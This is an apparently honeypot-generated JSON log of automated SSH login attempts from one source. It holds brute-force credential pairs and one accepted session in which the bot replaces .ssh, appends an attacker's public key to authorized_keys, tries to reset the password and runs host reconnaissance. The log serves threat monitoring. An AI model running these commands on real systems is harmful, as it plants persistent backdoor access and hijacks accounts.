{"id":"39c0afe1-d29d-434d-ba17-454f591cae22","name":"plucky-frosty-chickadee","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":42724,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:31:54.591185+00:00","ended_at":"2026-08-26T11:31:55.795587+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"17697e57-e39f-4168-b1c1-7da6a3d584ec","name":"lawful-prickly-osprey","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":42716,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:31:50.889486+00:00","ended_at":"2026-08-26T11:31:52.856270+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"4826b3f0-eb6f-4897-9b68-e917eff69c76","name":"languid-wooded-magpie","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":42516,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:29:06.085419+00:00","ended_at":"2026-08-26T11:29:08.184541+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"75c306de-b1b3-4c03-913e-427944fb5ba8","name":"obsidian-burly-zebu","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":42508,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:29:02.352659+00:00","ended_at":"2026-08-26T11:29:04.382514+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"14b6ca15-6a85-43d0-9891-33c5dbff9927","name":"quartz-ancient-onager","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":42500,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T11:28:59.486436+00:00","ended_at":"2026-08-26T11:29:00.381497+00:00","ended_reason":"exec complete","commands":1,"transcript_bytes":65,"events":[{"seq":1,"at":"2026-08-26T11:28:59.486967+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T11:29:00.062552+00:00","kind":"output","latency_ms":null,"data":"-bash: cd: command not found"}],"credentials":[{"username":"root","password":"Ww12345678","method":"password","accepted":true,"tier":"other"}]} {"id":"78c1fc94-4032-40a7-87bb-16f55d6b3ee5","name":"jovial-earnest-crane","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":42302,"username":"cgonzalez","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":871,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T11:26:37.896770+00:00","ended_at":"2026-08-26T11:26:38.924393+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2051,"events":[{"seq":1,"at":"2026-08-26T11:26:14.812436+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T11:26:15.685093+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T11:26:22.724933+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T11:26:22.725397+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T11:26:23.589879+00:00","kind":"input","latency_ms":null,"data":"echo -e \"cgonzalez\\nO0s5R1VJOIkS\\nO0s5R1VJOIkS\"|passwd|bash"},{"seq":6,"at":"2026-08-26T11:26:24.489060+00:00","kind":"input","latency_ms":null,"data":"echo \"cgonzalez\\nO0s5R1VJOIkS\\nO0s5R1VJOIkS\\n\"|passwd"},{"seq":7,"at":"2026-08-26T11:26:25.385335+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T11:26:25.385750+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T11:26:26.255668+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T11:26:27.074226+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T11:26:27.959877+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T11:26:28.519638+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T11:26:29.390155+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T11:26:29.390859+00:00","kind":"output","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T11:26:30.285034+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T11:26:30.285865+00:00","kind":"output","latency_ms":null,"data":" 11:26:30 up 6 days, 8:16, 0 user, load average: 0.29, 0.35, 0.2\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T11:26:31.158464+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T11:26:31.160082+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T11:26:32.010210+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T11:26:32.019780+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T11:26:32.889580+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T11:26:32.890276+00:00","kind":"output","latency_ms":null,"data":"top - 11:26:32 up 6 days, 8:16, 0 user, load average: 0.29, 0.35, 0.2\nTasks: 114 total, 1 running, 113 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8897 free, 6990 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T11:26:33.786642+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T11:26:33.787586+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T11:26:34.686739+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T11:26:34.688844+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T11:26:35.589794+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T11:26:35.590628+00:00","kind":"output","latency_ms":null,"data":"cgonzalez"},{"seq":29,"at":"2026-08-26T11:26:36.487508+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T11:26:37.044605+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T11:26:37.897847+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T11:26:38.651629+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"cgonzalez","password":"cgonzalez","method":"password","accepted":true,"tier":"other"}]} {"id":"f9095080-7f0c-4a10-9f0d-1f1b9ac1d6c8","name":"obsidian-craggy-ibis","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":42318,"username":"cgonzalez","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:26:21.284500+00:00","ended_at":"2026-08-26T11:26:22.450575+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"cgonzalez","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ca600ff8-b4b2-44d9-b9a0-fcf982ba2d91","name":"quiet-whispering-saola","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":42310,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:26:17.643011+00:00","ended_at":"2026-08-26T11:26:19.513590+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"47e676c9-8c0b-4487-bd16-3ab9269f7300","name":"mossy-burly-sloth","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":42064,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T11:21:39.297562+00:00","ended_at":"2026-08-26T11:21:40.482281+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"a123321.","method":"password","accepted":false,"tier":"other"}]}